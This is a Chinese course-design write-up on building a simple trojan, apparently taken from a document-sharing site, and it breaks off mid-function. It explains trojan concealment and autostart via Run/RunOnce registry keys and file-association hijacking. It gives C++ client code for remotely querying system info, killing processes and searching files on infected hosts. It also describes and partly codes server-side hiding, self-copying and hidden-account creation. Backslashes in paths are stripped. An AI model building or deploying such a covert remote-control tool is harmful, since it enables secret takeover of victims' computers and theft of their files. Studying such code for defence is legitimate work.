1、木马的设计课设简单木马设计 一、木马的定义木马本质上是一种经过伪装的欺骗性程序, 它通过将自身伪装吸引用户下载执行, 从而破坏或窃取使用者的重要文件和资料。木马程序与一般的病毒不同,它不会自我繁殖,也并不刻意!地去感染其他文件, 它是一种后台控制程序。它的主要作用是向施种木马者打开被种者电脑的门户,使其可以任意毁坏、窃取被种者的文件,甚至远程操控其电脑。二、木马的组成一般来说,完整的木马由两部分组成,即服务端Server 和客户端Client,也就是采用所谓的C/S 模式。如下图2-1所示:图2-1木马的服务端和客户端一个完整的木马系统以下几部分组成:1、硬件部分建立木马连接所必须的硬件实体。
2、控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。2、软件部分实现远程控制所必须的软件程序。控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。3、建立连接的必要元素通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个
3、入口,数据可直达控制端程序或木马 程序。用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。配置木马一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICQ号等等三、木马的隐藏与自启动木马常用的隐藏技术:3.1合并端口法使
4、用特殊的手段, 在一个端口上同时绑定两个TCP 或者UDP 连接(比如80 端口的HTTP),以达到隐藏端口的目的。3.2修改ICMP 头法根据ICMP 协议进行数据的发送,原理是修改ICMP 头的构造,加入木马的控制字段。这样的木马具备很多新特点,如不占用端口、使用户难以发觉等。同时,使用ICMP 协议可以穿透一些防火墙,从而增加了防范的难度。木马常用的自启动技术:为了达到长期控制目标主机的目的,当主机重启之后必须让木马程序再次运行,这样就需要木马具有一定的自启动能力。下面介绍几种常见的方法。3.3加载程序到启动组我们需要关注“开始” 菜单中的启动项, 对应的文件夹是c:Documents
5、and Settings 用户名开始菜单 程序 启动。3.4在注册表中加载自启动项下面仅列举几个木马常用的自启动注册表项:3.4.1 Run 注册表项Run 是木马常用的自启动注册表项,位置在:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun3.4.2RunOnce 注册表项RunOnce 也是木马常用的自启动注册表项,位置在:HKEY_CURRENT_USERSoftwareMicrosoftWindowsC
6、urerntVersionRunOnceHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce在Windows XP 系统中还有:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx此外, 木马的自启动注册表项还有RunServices 注册表项、RunServicesOnce 注册表项、Winlogon 注册表项、Load 注册表项等。3.5修改文件关联以文本文件的“文件关联”为例,正常情况下,其对应的注册表项和项值分别为:HKEY_CLASS
7、ES_ROOTtxtfileshellopencommand与%SystemRoot%system32NOTEPAD.EXE%1但是某些木马在安装阶段将项值改为“木马程序路径 木马程序名称%l”的形式,这样,当用户打开任何一个文本文件时,就启动了木马程序。 三、简单木马制作 基本思路:本木马由两部分组成,即服务端Server程序 和客户端Client程序,采用的是C/S 模式。 对目的主机的控制主要是通过客户端发出的命令后,服务器端响应后把结果返回给客户端,进而起到控制主机的目的。 在程序制作中,使用了计时器方法,木马端程序会每1s向控制端发送连接信息,若控制端,即client端开启,则会向S
8、erver端反馈confirm信息,这样,Server端会继续发送新的信息。 1、客户端的制作 本客户端程序以属性表单的方式提供操作界面,如下图所示:1.1主机列表 在列表控件中显示由服务器发来的IP、MAC以及运行时间信息。同一IP信息不会重复添加到列表控件中。 “检测”按钮的作用主要是确定当前主机是否在线,也就是是否以运行了木马服务器程序,若以运行,则可以通过其他属性页中的按钮进行控制。其“检测”按钮的单击消息响应函数为:void CPropHostList:OnButton1Connection() / TODO: Add your control notification handle
9、r code here UpdateData(); if(m_strHostIP=) MessageBox(检测主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); theHostIP=m_strHostIP; return ; theHostIP=m_strHostIP; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN Add
10、ressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 AddressServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char sendBuf100=Hello!;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf
11、 , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetTimer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=Hello!) KillTimer(1); MessageBox(当前主机处于活动状态!,响应,MB_OK|MB_ICONASTERISK); SocketSendAndRecv.
12、MyCloseSocket(SocketClient);1.2系统信息 在确保用户在线的情况下,通过单击“系统信息”、“关闭计算机”、“重启计算机”等按钮就可以获取相应的信息或着执行相应的命令。并且在响应的编辑框中提示本次操作是否成功。 操作界面如下图所示: 以获取“系统信息”按钮为例,此按钮的单击消息响应函数为:void CPropSystemInfoDlg:OnButtonSysteminfo() m_strInfo=; / TODO: Add your control notification handler code here if(theHostIP=) MessageBox(主机I
13、P不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); return ; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 Addr
14、essServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf98;/用于存储接受的数据 char sendBuf100=1GetSystemInfo;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; CString strShow=; Set
15、Timer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; int n=atoi(RecvData); for(int i=1;i=n;i+) recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; strShow=strShow+RecvData; if(RecvData!=) K
16、illTimer(1); m_strInfo=strShow; UpdateData(0); SocketSendAndRecv.MyCloseSocket(SocketClient); 1.3消息属性页在输入消息的正文后,单击发送按钮即可把消息发送到服务器端。操作界面如下: “发送”按钮的单击消息响应函数为:void CPropMessageDlg:OnButtonSendmessage() m_strResponse=; UpdateData(); if(theHostIP=) MessageBox(主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_IC
17、ONWARNING); return ; CString SendData=5+m_strText; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 AddressServer.si
18、n_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char *sendBuf=(LPSTR)(LPCTSTR)SendData;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetTimer(1,1000,NULL); r
19、ecvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=5sendsuccess) KillTimer(1); m_strResponse=消息发送成功!; UpdateData(0); SocketSendAndRecv.MyCloseSocket(SocketClient); 1.4进程管理 在本属性页中提供了对进程有关的操作:1.4.1列举进程 列举当前主机中运行的所以进程的信息。 1.4.2结束进程 在列举进程信息后,在编辑框
20、中输入进程ID号后,再单击“结束进程”按钮即可。 1.4.3创建进程 这里需要输入要创建的程序名或者程序的路径。比如:QQ的程序路径,“D:Program FilesTencentQQBinQQ.exe”。 1.4.4获取硬盘信息 由于所要获取的数据太大,如果一次性传输到客户端,则只会显示部分信息。程序中对数据太大的数据进行了分段传输(如:进程信息、系统信息、硬盘信息),每次传输90字节。 在客户端,对分别传送了的数据组装后再在控件中显示。 操作界面如下图所示: 以“结束进程”按钮为例,单击消息响应函数为:void CPropProcessDlg:OnButton2Endprocess() m
21、_strInfo=; UpdateData(); if(theHostIP=) MessageBox(主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); return ; if(m_strEndProcess=) MessageBox(请输入结束进程ID!,提示,MB_OK|MB_ICONWARNING); return ; CString Data=7+m_strEndProcess; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET Socket
22、Client = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_long型 AddressServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char *sendBuf=(LPSTR)(LPCTSTR)D
23、ata;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetTimer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=7endprocesssuccess)
24、 KillTimer(1); m_strInfo=结束指定进程命令成功!; UpdateData(0); if(RecvData=7endprocessfailure) KillTimer(1); m_strInfo=结束指定进程命令失败!; UpdateData(0); SocketSendAndRecv.MyCloseSocket(SocketClient);1.5查找文件属性页 在本属性页中提供了对指定文件或者文件夹的查找功能,若查找成功则在编辑框中给出指定文件或者文件夹的全路径,否则提示查找失败。操作界面如下: “立即查找”按钮的单击消息响应函数为:void CPropFilesFin
25、dDlg:OnButton1Find() UpdateData(); if(theHostIP=) MessageBox(主机IP不能为空!rn请输入IP地址!rn或者在列表中选择!,提示,MB_OK|MB_ICONWARNING); return ; if(m_strFilesName=) MessageBox(请输入查找文件名!,提示,MB_OK|MB_ICONWARNING); return ; int n=m_strDishOperator.GetCurSel(); CString Selected; m_strDishOperator.GetLBText(n,Selected); C
26、String SendData; SendData=+Selected; SendData=SendData+m_strFilesName; CMySocket SocketSendAndRecv; SocketSendAndRecv.MyStartup(); SOCKET SocketClient = socket( AF_INET , SOCK_DGRAM , 0); SOCKADDR_IN AddressServer; /发送到服务器的地址信息 AddressServer.sin_addr.S_un.S_addr = inet_addr(theHostIP);/将点分十进制转换为u_lo
27、ng型 AddressServer.sin_family =AF_INET; AddressServer.sin_port = htons(5004);/转换为网络字节序 char recvBuf100;/用于存储接受的数据 char *sendBuf=(LPSTR)(LPCTSTR)SendData;/用于存储要发送的数据 int len=sizeof(SOCKADDR); sendto(SocketClient , sendBuf , strlen(sendBuf)+1 , 0,(SOCKADDR*)&AddressServer , len); CString RecvData; SetT
28、imer(1,1000,NULL); recvfrom( SocketClient , recvBuf , 100 , 0 , (SOCKADDR*)&AddressServer , &len); RecvData=recvBuf; if(RecvData=findfileseorror) KillTimer(1); m_strFilesPath=查找指定文件失败!; UpdateData(0); else KillTimer(1); m_strFilesPath=指定文件在服务器路径为:rn+RecvData; UpdateData(0); SocketSendAndRecv.MyClose
29、Socket(SocketClient); 2、服务器程序制作 在服务器端,主要实现的功能是,接收客户端发来的命令,执行相应的功能代码,并把结果发送到客户端,以便显示。 除此之外,服务器程序还要有以下几点功能:窗口隐藏、IP地址信息发送、单一服务器实例、开机自动启动、服务器程序自我复制、创建隐藏账户。这些功能主要是在服务器程序的初始化函数BOOL CTrojanServerDlg:OnInitDialog()中实现的。下面分别说明: 2.1窗口隐藏 对于一个木马服务器程序来说,为了避免用户的察觉,隐藏是十分有必要的,这可以在初始化函数添加以下两行代码即可:ModifyStyleEx(WS_EX
30、_APPWINDOW,WS_EX_TOOLWINDOW);/从任务栏中去掉SetWindowPos(&wndTop,0,0,0,0,NULL); 2.2 IP地址信息发送 对与客户端,如果要对用户主机进行控制,除了需要主机运行服务器程序外,还需要知道主机的IP地址,这样才能发送命令到主机方。另外,对方主机的IP地址也可能会发生变化,所以也需要把变化后的IP地址发送到客户端。实现的方法是,在服务器端创建线程,对主机的IP地址进行监视,每过1小时进行检查IP地址是否改变,若改变,则立即把新的IP地址信息发送到客户端的5005端口。其所创建的线程执行函数为:DWORD WINAPI ProcThread(LPVOID lpParameter)/IP地
copyright@ 2008-2023 冰点文库 网站版权所有
经营许可证编号:鄂ICP备19020893号-2